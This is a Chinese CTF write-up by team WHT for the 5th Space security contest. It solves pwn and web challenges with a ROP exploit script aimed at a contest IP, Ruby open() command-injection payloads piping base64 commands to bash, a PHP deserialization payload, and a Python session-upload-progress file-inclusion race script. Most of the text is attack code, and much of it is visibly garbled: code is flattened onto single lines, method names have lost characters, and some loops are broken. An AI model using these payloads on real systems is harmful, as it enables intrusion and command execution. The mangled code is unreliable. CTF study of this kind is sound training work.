第五空间网络安全大赛 WHT WRITEUP
一、 战队信息
战队名称:WHT
战队排名:社企组 26
二、 解题过程
1 签到
下载附件,并解压后,发现 flag 文本,提交即可。
flag 值:flag{welcometo5space}
2 bountyhunter
EXP:
from pwn import *context(os='linux', arch='amd64', log_level='debug') content = 0 pop_rdi_ret_addr=0x000000000040120b system_addr=0x0000000000401030 sh_addr=0x0000000000403408 def main():try:if content == 1:upload = process("./pwn1")else:upload = remote("139.9.123.168", 32548)except:print("The exp is error~") payload = ('a' * (0x90 + 0x8)).encode() payload += p64(pop_rdi_ret_addr) payload += p64(sh_addr)payload += p64(system_addr) upload.recvuntil("Who are you? What do you want?") upload.sendline(payload) upload.interactive() main()```
3 WebFTP
项目地址:`https://github.com/wifeat/WebFTP`
4 PNG 图片转换器
ruby 的源代码
require 'sinatra' require 'digest' require 'base64' get '/' doopen("./view/index.html", 'r').read() end get '/upload' do open("./view/upload.html", 'r').read()end post '/upload' dounless params[:file] && params[:file][:tempfile] && params[:file][:filename] &¶ms[:file][:filename].split('.')[-1] == 'png'return "alert('error');location.href='/upload';" endbeginfilename = Digest::MD5.hexdigest(Time.now.to_i.to_s + params[:file][:filename]) + '.png' open(filename, 'wb') { |f|f.write open(params[:file][:tempfile],'r').read()}"Upload success, file stored at #{filename}" rescue'something wrong' end end get '/convert' do open("./view/convert.html", 'r').read()end post '/convert' do beginunless params['file']return "alert('error');location.href='/convert';" end file = params['file']unless file.index('..') == nil && file.index('/') == nil && file =~ /^(.+)\.png$/ return "alert('dont hack me');"endres = open(file, 'r').read()headers 'Content-Type' => "text/html; charset=utf-8""var img = document.createElement(\"img\");img.src= \"data:image/png;base64," + Base64.encode64(res).gsub(/\s*/, '') + "\";"rescue'something wrong' endend
漏洞利用的关键点是这一行(参考:https://vulhub.org/#/environments/ruby/CVE-2017-17405/)
res = open(file, 'r').read()
这里使用了 open()函数来打开可控制 file 参数传入的文件名。而 ruby 中的 open()函数是借用系统命令来打开文件,且没用过滤 shell 字符,导致在用户控制文件名的情况下,将可以注入任意命令。
源码中会将 open()执行过后的结果 base64 编码后返回,加上 file 参数处有些过滤和必须以.png 结尾的限制;即可构造
file=|whoami > test.png
如果返回 something wrong,可以尝试多执行几次。接下来绕过..、/即可,直接利用 base64 编码绕过
file=|echo "bHMgLWxoYSAv"|base64 -d|bash > test.png
读取/FLA9_zAIBhoJmWSX9RUcnPDrL
file=|echo "Y2F0IC9GTEE5X3pBSUJob0ptV1NYOVJVY25QRHJM"|base64 -d|bash > test.png
5 pklovecloud
include 'flag.php'; class pkshow{function echo_name(){return "Pk very safe^.^";}} class acp{protected $cinder; public $neutron; public $nova; function construct(){$this->cinder = new pkshow;}function toString(){if (isset($this->cinder))return $this->cinder->echo_name();}} class ace{public $filename; public $openstack; public $docker; function echo_name(){$this->openstack = unserialize($this->docker);$this->openstack->neutron = $heat;if($this->openstack->neutron === $this->openstack->nova){
简单的反序列化,需要注意下的就是两个对象相互嵌套时注意区分,不要陷入死循环
{protected $cinder; public $neutron; public $nova;function construct($i){if($i == 1){$this->cinder = new ace();}else{return $i;}} }class ace{public $filename = '/flag.php'; public $openstack;public $docker; function construct(){$this->docker = serialize(new acp(0));}} $res = new acp(1);echo urlencode(serialize($res));?> O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder%22%3BO%3A3%3A%22ace%22%3A3%3A%7B s%3A8%3A%22filename%22%3Bs%3A9%3A%22%2Fflag.php%22%3Bs%3A9%3A%22openstack%22%3BN%3Bs%3 A6%3A%22docker%22%3Bs%3A61%3A%22O%3A3%3A%22acp%22%3A3%3A%7Bs%3A9%3A%22%00%2A%00cinder% 22%3BN%3Bs%3A7%3A%22neutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D%22%3B%7Ds%3A7%3A%22n eutron%22%3BN%3Bs%3A4%3A%22nova%22%3BN%3B%7D
6 EasyCleanup
if(!isset($_GET['mode'])){ highlight_file( file );}else if($_GET['mode'] == "eval"){$shell = $_GET['shell'] ?? 'phpinfo();';if(strlen($shell) > 15 | filter($shell) | checkNums($shell)) exit("hacker"); eval($shell);} if(isset($_GET['file'])){if(strlen($_GET['file']) > 15 | filter($_GET['file'])) exit("hacker"); include $_GET['file'];} function filter($var): bool{$banned = ["while", "for", "\$_", "include", "env", "require", "?", ":", "^", "+", "-", "%", "*","`"]; foreach($banned as $ban){ if(strstr($var, $ban)) return True;} return False;} function checkNums($var): bool{$alphanum = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';$cnt = 0;for($i = 0; $i < strlen($alphanum); $i++){ for($j = 0; $j < strlen($var); $cnt += 1;if($cnt > 8) return True;}}}return False;} ?>
合并运算符(??)
$shell = $_GET['shell'] ?? 'phpinfo();'
如果有设置?shell,则?shell 的值为其设置的值;若没有设置,则?shell=phpinfo(); 审计源码,很明显这里直接命令执行应该是无法执行的:
· 总长度不能大于等于 15
· 数字和字母的字符次数不能大于等于 8 次
加上一些 filter()的过滤,这里基本无法实现?shell 的代码执行
关键在 include $_GET['file'];,有文件包含,虽然有 filter()和长度的限制,但是没有最恶心的 CheckNums();加上给了我们一个 phpinfo。查看一下 session.upload_progress,默认都是开启的。并且这里记录上传进度的 session 文件都没有开启自动清除
(session.upload_progress.cleanup==Off),条件竞争都不用做了。
没有给出 session.save_path,那 sesion 应该就是默认保存位置:/tmp/sess_xxx 直接利用以前做 session upload progress 的脚本即可,稍微改一下就能直接打
# -*- coding: utf-8 -*- import ioimport requests import threading myurl = 'http://114.115.134.72:32770/index.php' sessid = '7'myfile = io.BytesIO(b'mochu7' * 1024)writedata = {"PHP_SESSION_UPLOAD_PROGRESS": ""} mycookie = {'PHPSESSID': sessid} def writeshell(session): while True:resp = requests.post(url=myurl, data=writedata, files={'file': ('mochu7.txt', myfile)}, cookies=mycookie) def getshell(session): while True:payload_url = myurl + '?file=' + '/tmp/sess_' +sessid resp = requests.get(url=payload_url)if 'upload_progress' in resp.text: print(resp.text)breakelse:pass if name == ' main ': session = requests.session()writeshell = threading.Thread(target=writeshell, args=(session,)) writeshell.daemon = Truewriteshell.start() getshell(session)
如果一个 sess_id 打了好几次没有刷新,建议换个 sess_id 打
